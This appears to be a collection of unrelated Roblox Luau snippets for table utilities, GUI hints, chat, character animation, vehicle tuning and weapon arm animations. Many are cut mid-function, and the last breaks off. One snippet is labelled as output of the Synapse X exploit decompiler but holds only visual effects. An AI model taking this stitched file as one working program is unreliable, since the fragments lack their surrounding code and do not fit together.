local http = game:GetService("HttpService")
local function CopyTable(t)
assert(type(t) == "table", "First argument must be a table")
local tCopy = table.create(#t)
for k,v in pairs(t) do
if (type(v) == "table") then
tCopy[k] = CopyTable(v)
else
tCopy[k] = v
end
end
return tCopy
end
local function CopyTableShallow(t)
local tCopy = table.create(#t)
for k,v in pairs(t) do tCopy[k] = v end
return tCopy
end
local function Sync(tbl, templateTbl)
assert(type(tbl) == "table", "First argument must be a table")
assert(type(templateTbl) == "table", "Second argument must be a table")
-- If 'tbl' has something 'templateTbl' doesn't, then remove it from 'tbl'
-- If 'tbl' has something of a different type than 'templateTbl', copy from 'templateTbl'
-- If 'templateTbl' has something 'tbl' doesn't, then add it to 'tbl'
for k,v in pairs(tbl) do
local vTemplate = templateTbl[k]
-- Remove keys not within template:
if (vTemplate == nil) then
tbl[k] = nil
-- Synchronize data types:
elseif (type(v) ~= type(vTemplate)) then
if (type(vTemplate) == "table") then
tbl[k] = CopyTable(vTemplate)
else
tbl[k] = vTemplate
end
-- Synchronize sub-tables:
elseif (type(v) == "table") then
Sync(v, vTemplate)
end
end
-- Add any missing keys:
for k,vTemplate in pairs(templateTbl) do
local v = tbl[k]
if (v == nil) then
if (type(vTemplate) == "table") then
tbl[k] = CopyTable(vTemplate)
else
tbl[k] = vTemplate
end
end
end
end
local function FastRemove(t, i)
local n = #t
t[i] = t[n]
t[n] = nil
end
local function Map(t, f)
assert(type(t) == "table", "First argument must be a table")
assert(type(f) == "function", "Second argument must be an array")
local newT = table.create(#t)
for k,v in pairs(t) do
newT[k] = f(v, k, t)
end
return newT
end
local function Filter(t, f)
assert(type(t) == "table", "First argument must be a table")
assert(type(f) == "function", "Second argument must be an array")
local newT = table.create(#t)
if (#t > 0) then
local n = 0
for i = 1,#t do
local v = t[i]
if (f(v, i, t)) then
n = (n + 1)
newT[n] = v
end
end
else
for k,v in pairs(t) do
if (f(v, k, t)) then
newT[k] = v
end
end
end
return newT
end
local function Reduce(t, f, init)
assert(type(t) == "table", "First argument must be a table")
assert(type(f) == "function", "Second argument must be an array")
assert(init == nil or type(init) == "number", "Third argument must be a number or nil")
local result = (init or 0)
for k,v in pairs(t) do
result = f(result, v, k, t)
end
return result
end
|
--// All global vars will be wiped/replaced except script
--// All guis are autonamed client.Variables.CodeName..gui.Name
--// Be sure to update the console gui's code if you change stuff
|
return function(data, env)
if env then
setfenv(1, env)
end
if not data.Message then return end
local gTable = data.gTable
local baseClip = script.Parent.Parent.BaseClip
local hintTemplate = baseClip.Frame
local hintClone = hintTemplate
local hintButton = hintClone:WaitForChild('TextButton')
local hintTop = hintClone:WaitForChild('Top')
local hintBody = hintClone:WaitForChild('Body')
local hintTitleText = hintTop:WaitForChild('Title')
local hintBodyText = hintBody:WaitForChild('To Name Later')
gTable.BindEvent(hintButton.MouseButton1Click, function()
hintClone:TweenPosition(UDim2.new(0,0,0,-hintClone.AbsoluteSize.Y),'Out','Quint',0.3,true,function(Stat)
if Stat == Enum.TweenStatus.Completed then
hintClone:Destroy()
gTable:Destroy()
end
end)
end)
hintTitleText.Text = data.Title or " "
hintBodyText.Text = data.Message
hintClone.Parent = baseClip
hintClone.Visible = true
hintClone.Position = UDim2.new(0,0,-1,0)
gTable.CustomDestroy = function()
gTable.CustomDestroy = nil
gTable.ClearEvents()
pcall(function()
hintClone:TweenPosition(UDim2.new(0,0,0,-hintClone.AbsoluteSize.Y),'Out','Quint',0.3,true,function(Stat)
if Stat == Enum.TweenStatus.Completed then
hintClone:Destroy()
gTable:Destroy()
end
end)
wait(0.3)
end)
gTable:Destroy()
end
gTable:Ready()
hintClone:TweenPosition(UDim2.new(0,0,0,0),'Out','Quint',0.3,true)
local def_waitTime = (#hintBodyText.Text*0.1)+1
local waitTime = tonumber(data.Wait or def_waitTime) or def_waitTime
if def_waitTime <= 1 then
def_waitTime = 2.5
elseif def_waitTime > 10 then
def_waitTime = 10
end
wait(waitTime)
pcall(function()
if hintClone then
hintClone:TweenPosition(UDim2.new(0,0,0,-hintClone.AbsoluteSize.Y),'Out','Quint',0.3,true,function(Stat)
if Stat == Enum.TweenStatus.Completed then
hintClone:Destroy()
gTable:Destroy()
end
end)
end
end)
end
|
-- ROBLOX FIXME: workaround for defult generic param
|
export type Expect_ = Expect<MatcherState>
type Constructable = {
new: (...Array<any>) -> any,
}
|
--///////////////////////// Constructors
--//////////////////////////////////////
|
function module.new(vChatService, name)
local obj = setmetatable({}, methods)
obj.ChatService = vChatService
obj.PlayerObj = nil
obj.Name = name
obj.ExtraData = {}
obj.Channels = {}
obj.MutedSpeakers = {}
-- Make sure to destroy added binadable events in the InternalDestroy method.
obj.eDestroyed = Instance.new("BindableEvent")
obj.eSaidMessage = Instance.new("BindableEvent")
obj.eReceivedMessage = Instance.new("BindableEvent")
obj.eMessageDoneFiltering = Instance.new("BindableEvent")
obj.eReceivedSystemMessage = Instance.new("BindableEvent")
obj.eChannelJoined = Instance.new("BindableEvent")
obj.eChannelLeft = Instance.new("BindableEvent")
obj.eMuted = Instance.new("BindableEvent")
obj.eUnmuted = Instance.new("BindableEvent")
obj.eExtraDataUpdated = Instance.new("BindableEvent")
obj.eMainChannelSet = Instance.new("BindableEvent")
obj.eChannelNameColorUpdated = Instance.new("BindableEvent")
obj.Destroyed = obj.eDestroyed.Event
obj.SaidMessage = obj.eSaidMessage.Event
obj.ReceivedMessage = obj.eReceivedMessage.Event
obj.MessageDoneFiltering = obj.eMessageDoneFiltering.Event
obj.ReceivedSystemMessage = obj.eReceivedSystemMessage.Event
obj.ChannelJoined = obj.eChannelJoined.Event
obj.ChannelLeft = obj.eChannelLeft.Event
obj.Muted = obj.eMuted.Event
obj.Unmuted = obj.eUnmuted.Event
obj.ExtraDataUpdated = obj.eExtraDataUpdated.Event
obj.MainChannelSet = obj.eMainChannelSet.Event
obj.ChannelNameColorUpdated = obj.eChannelNameColorUpdated.Event
return obj
end
return module
|
-- functions
|
function stopAllAnimations()
local oldAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
oldAnim = "idle"
end
currentAnim = ""
currentAnimInstance = nil
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
-- clean up walk if there is one
if (runAnimKeyframeHandler ~= nil) then
runAnimKeyframeHandler:disconnect()
end
if (runAnimTrack ~= nil) then
runAnimTrack:Stop()
runAnimTrack:Destroy()
runAnimTrack = nil
end
return oldAnim
end
function getHeightScale()
if Humanoid then
if FFlagUserAdjustHumanoidRootPartToHipPosition then
if not Humanoid.AutomaticScalingEnabled then
return 1
end
end
local scale = Humanoid.HipHeight / HumanoidHipHeight
if userAnimationSpeedDampening then
if AnimationSpeedDampeningObject == nil then
AnimationSpeedDampeningObject = script:FindFirstChild("ScaleDampeningPercent")
end
if AnimationSpeedDampeningObject ~= nil then
scale = 1 + (Humanoid.HipHeight - HumanoidHipHeight) * AnimationSpeedDampeningObject.Value / HumanoidHipHeight
end
end
return scale
end
return 1
end
local smallButNotZero = 0.0001
function setRunSpeed(speed)
local speedScaled = speed * 4.5 -- Default is 1.25
local heightScale = getHeightScale()
local runSpeed = speedScaled / heightScale
if runSpeed ~= currentAnimSpeed then
if runSpeed < 0.33 then
currentAnimTrack:AdjustWeight(1.0)
runAnimTrack:AdjustWeight(smallButNotZero)
elseif runSpeed < 0.66 then
local weight = ((runSpeed - 0.33) / 0.33)
currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero)
runAnimTrack:AdjustWeight(weight + smallButNotZero)
else
currentAnimTrack:AdjustWeight(smallButNotZero)
runAnimTrack:AdjustWeight(1.0)
end
currentAnimSpeed = runSpeed
runAnimTrack:AdjustSpeed(runSpeed)
currentAnimTrack:AdjustSpeed(runSpeed)
end
end
function setAnimationSpeed(speed)
if currentAnim == "walk" then
setRunSpeed(speed)
else
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then
if currentAnim == "walk" then
if userNoUpdateOnLoop == true then
if runAnimTrack.Looped ~= true then
runAnimTrack.TimePosition = 0.0
end
if currentAnimTrack.Looped ~= true then
currentAnimTrack.TimePosition = 0.0
end
else
runAnimTrack.TimePosition = 0.0
currentAnimTrack.TimePosition = 0.0
end
else
local repeatAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
repeatAnim = "idle"
end
local animSpeed = currentAnimSpeed
playAnimation(repeatAnim, 0.15, Humanoid)
setAnimationSpeed(animSpeed)
end
end
end
function rollAnimation(animName)
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
return idx
end
function playAnimation(animName, transitionTime, humanoid)
local idx = rollAnimation(animName)
local anim = animTable[animName][idx].anim
-- switch animation
if (anim ~= currentAnimInstance) then
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop(transitionTime)
currentAnimTrack:Destroy()
end
if (runAnimTrack ~= nil) then
runAnimTrack:Stop(transitionTime)
runAnimTrack:Destroy()
if userNoUpdateOnLoop == true then
runAnimTrack = nil
end
end
currentAnimSpeed = 1.0
-- load it to the humanoid; get AnimationTrack
currentAnimTrack = humanoid:LoadAnimation(anim)
currentAnimTrack.Priority = Enum.AnimationPriority.Core
-- play the animation
currentAnimTrack:Play(transitionTime)
currentAnim = animName
currentAnimInstance = anim
-- set up keyframe name triggers
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:disconnect()
end
currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
-- check to see if we need to blend a walk/run animation
if animName == "walk" then
local runAnimName = "run"
local runIdx = rollAnimation(runAnimName)
runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)
runAnimTrack.Priority = Enum.AnimationPriority.Core
runAnimTrack:Play(transitionTime)
if (runAnimKeyframeHandler ~= nil) then
runAnimKeyframeHandler:disconnect()
end
runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
end
end
end
|
-- Define each RemoteEvent individually
|
local SpawnSegway = RemoteFolder:WaitForChild("SpawnSegway")
local ConfigTool = RemoteFolder:WaitForChild("ConfigTool")
local DestroySegway = RemoteFolder:WaitForChild("DestroySegway")
local PlaySound = RemoteFolder:WaitForChild("PlaySound")
local StopSound = RemoteFolder:WaitForChild("StopSound")
local UndoTags = RemoteFolder:WaitForChild("UndoTags")
local UndoHasWelded = RemoteFolder:WaitForChild("UndoHasWelded")
local DeleteWelds = RemoteFolder:WaitForChild("DeleteWelds")
local ConfigHumanoid = RemoteFolder:WaitForChild("ConfigHumanoid")
local ConfigLights = RemoteFolder:WaitForChild("ConfigLights")
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = {};
local l__ReplicatedStorage__2 = game.ReplicatedStorage;
local v3 = require(game.ReplicatedStorage.Modules.Lightning);
local v4 = require(game.ReplicatedStorage.Modules.Xeno);
local v5 = require(game.ReplicatedStorage.Modules.CameraShaker);
local l__TweenService__6 = game.TweenService;
local l__Debris__7 = game.Debris;
function v1.RunStompFx(p1, p2, p3, p4)
local v8 = game.ReplicatedStorage.KillFX.Deletion.Thimg:Clone();
v8.Parent = p2;
local v9 = game.ReplicatedStorage.KillFX.Deletion.Sound:Clone();
v9.Parent = p2;
v9:Play();
for v10, v11 in pairs(v8:GetDescendants()) do
if v11:IsA("ImageLabel") then
game.TweenService:Create(v11, TweenInfo.new(1.5, Enum.EasingStyle.Bounce, Enum.EasingDirection.Out), {
Size = UDim2.fromScale(1, 1),
ImageTransparency = 0
}):Play();
end;
end;
task.delay(3, function()
for v12, v13 in pairs(v8:GetDescendants()) do
if v13:IsA("ImageLabel") then
game.TweenService:Create(v13, TweenInfo.new(1, Enum.EasingStyle.Exponential, Enum.EasingDirection.Out), {
ImageTransparency = 1
}):Play();
end;
end;
end);
for v14, v15 in pairs(p2.Parent:GetDescendants()) do
if not (not v15:IsA("BasePart")) or not (not v15:IsA("MeshPart")) or v15:IsA("Decal") then
game:GetService("TweenService"):Create(v15, TweenInfo.new(0.5), {
Transparency = 1
}):Play();
end;
end;
return nil;
end;
return v1;
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 10 -- cooldown for use of the tool again
ZoneModelName = "Sea of Blood" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
return plrData.Character.Purity.Value <= -100
end
|
-- connect up
|
function stopLoopedSounds()
sRunning:Stop()
sClimbing:Stop()
sSwimming:Stop()
end
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Swimming:connect(onSwimming)
Humanoid.Climbing:connect(onClimbing)
Humanoid.Jumping:connect(function(state) onStateNoStop(state, sJumping) prevState = "Jump" end)
Humanoid.GettingUp:connect(function(state) stopLoopedSounds() onStateNoStop(state, sGettingUp) prevState = "GetUp" end)
Humanoid.FreeFalling:connect(function(state) stopLoopedSounds() onStateFall(state, sFreeFalling) prevState = "FreeFall" end)
Humanoid.FallingDown:connect(function(state) stopLoopedSounds() end)
Humanoid.StateChanged:connect(function(old, new)
if not (new.Name == "Dead" or
new.Name == "Running" or
new.Name == "RunningNoPhysics" or
new.Name == "Swimming" or
new.Name == "Jumping" or
new.Name == "GettingUp" or
new.Name == "Freefall" or
new.Name == "FallingDown") then
stopLoopedSounds()
end
end)
|
-- Holding Services
|
Players = game:GetService("Players")
ReplicatedStorage = game:GetService("ReplicatedStorage")
ServerStorage = game:GetService("ServerStorage")
TweenService = game:GetService("TweenService")
Chat = game:GetService("Chat")
|
-- A function to play fire sounds.
|
function PlayFireSound()
local NewSound = FireSound:Clone()
NewSound.Parent = Handle
NewSound:Play()
Debris:AddItem(NewSound, NewSound.TimeLength)
end
function PlayReloadSound()
local ReloadSound = Handle.Reload:Clone()
ReloadSound.Parent = Handle
ReloadSound:Play()
Debris:AddItem(ReloadSound, ReloadSound.TimeLength)
end
|
-- luaP_opnames[] is set above, as the luaP.opnames table
| |
-- (Hat Giver Script - Loaded.)
|
debounce = true
function onTouched(hit)
if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
debounce = false
h = Instance.new("Hat")
p = Instance.new("Part")
h.Name = "GreenTopHat"
p.Parent = h
p.Position = hit.Parent:findFirstChild("Head").Position
p.Name = "Handle"
p.formFactor = 0
p.Size = Vector3.new(0,-0.25,0)
p.BottomSurface = 0
p.TopSurface = 0
p.Locked = true
script.Parent.Mesh:clone().Parent = p
h.Parent = hit.Parent
h.AttachmentPos = Vector3.new(0,-.15,0.00)
wait(5)
debounce = true
end
end
script.Parent.Touched:connect(onTouched)
|
--[[Weight and CG]]
|
Tune.Weight = 3000 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 12 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
|
----------------------------------------
|
local Body = script.Parent.Body;
local torsoAt = Character.Torso.Position local toGhost = Body.Position - torsoAt toGhost = Vector3.new(toGhost.x, 0, toGhost.z).unit
local ghostAt = torsoAt + toGhost*3 + Vector3.new(0, 2 + 1*math.sin(tick()), 0)
Body.CFrame = Character.Torso.CFrame;
Create"BodyPosition"{
Name = 'Float';
Parent = Body;
position = Character.Torso.Position + Vector3.new(1,1,1);
--D = 500;
};
Create'BodyGyro'{
Name = 'Rotate';
Parent = Body;
cframe = Character.Torso.CFrame;
maxTorque = Vector3.new(40000, 20000, 40000);
};
wait(2);
|
--[[Transmission]]
|
Tune.TransModes = {"Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "RPM" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = 250 -- Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 50 -- Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
--Gear Ratios
Tune.FinalDrive = 3.90 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 4.30 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 4.90 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 3.15 ,
--[[ 3 ]] 1.95 ,
--[[ 4 ]] 1.40 ,
--[[ 5 ]] 1.00 ,
--[[ 6 ]] 0.75 ,
}
Tune.FDMult = 1.0 -- Ratio multiplier (keep this at 1 if car is not struggling with torque)
|
--//Client Animations
|
IdleAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms)
end;
StanceDown = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.3)
end;
StanceUp = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -1.85, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.8,-0.6,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play()
wait(0.3)
end;
Patrol = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.75, -.9, -1.6) * CFrame.Angles(math.rad(-80), math.rad(-70), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.75,0.75,-1) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25))}):Play()
wait(0.3)
end;
SprintAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.3)
end;
EquipAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.1)
objs[5].Handle:WaitForChild("AimUp"):Play()
ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play()
wait(0.5)
end;
ZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play()
wait(0.3)
end;
UnZoomAnim = function(char, speed, objs)
--ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play()
ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play()
wait(0.3)
end;
ChamberAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(1.75,-1.35,-1) * CFrame.Angles(math.rad(-180),math.rad(90),math.rad(0))}):Play()
wait(.35)
objs[5].Bolt:WaitForChild("SlidePull"):Play()
ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(1.25,-1.35,-1) * CFrame.Angles(math.rad(-180),math.rad(90),math.rad(0))}):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.3)
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
end;
ChamberBKAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, -0.465, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.1,-0.15,-1.115) * CFrame.Angles(math.rad(-110),math.rad(25),math.rad(0))}):Play()
wait(0.3)
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[3],TweenInfo.new(0.15),{C1 = CFrame.new(0.1,-0.15,-1.025) * CFrame.Angles(math.rad(-100),math.rad(30),math.rad(0))}):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.15)
end;
CheckAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(.35)
local MagC = objs[5]:WaitForChild("Mag"):clone()
objs[5].Mag.Transparency = 1
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagOut"):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play()
wait(1.5)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
wait(0.3)
end;
ShellInsertAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
wait(0.3)
objs[5].Handle:WaitForChild("ShellInsert"):Play()
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
objs[6].Value = objs[6].Value - 1
objs[7].Value = objs[7].Value + 1
wait(0.3)
end;
ReloadAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.2) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.42,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(0.5)
ts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-0.875, 0, -1.35) * CFrame.Angles(math.rad(-105), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.42,0.475,-2.25) * CFrame.Angles(math.rad(-110),math.rad(0),math.rad(7.5))}):Play()
objs[5].Mag.Transparency = 1
objs[5].Handle:WaitForChild("MagOut"):Play()
local MagC = objs[5]:WaitForChild("Mag"):clone()
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.25, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play()
wait(0.5)
ts:Create(objs[3],TweenInfo.new(0.6),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play()
wait(1.5)
ts:Create(objs[2],TweenInfo.new(0.5),{C1 = CFrame.new(-0.875, 0, -1.35) * CFrame.Angles(math.rad(-105), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.4,0.475,-2) * CFrame.Angles(math.rad(-110),math.rad(0),math.rad(7.5))}):Play()
wait(0.5)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.2) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then
objs[7].Value = objs[7].Value + objs[6].Value
objs[6].Value = 0
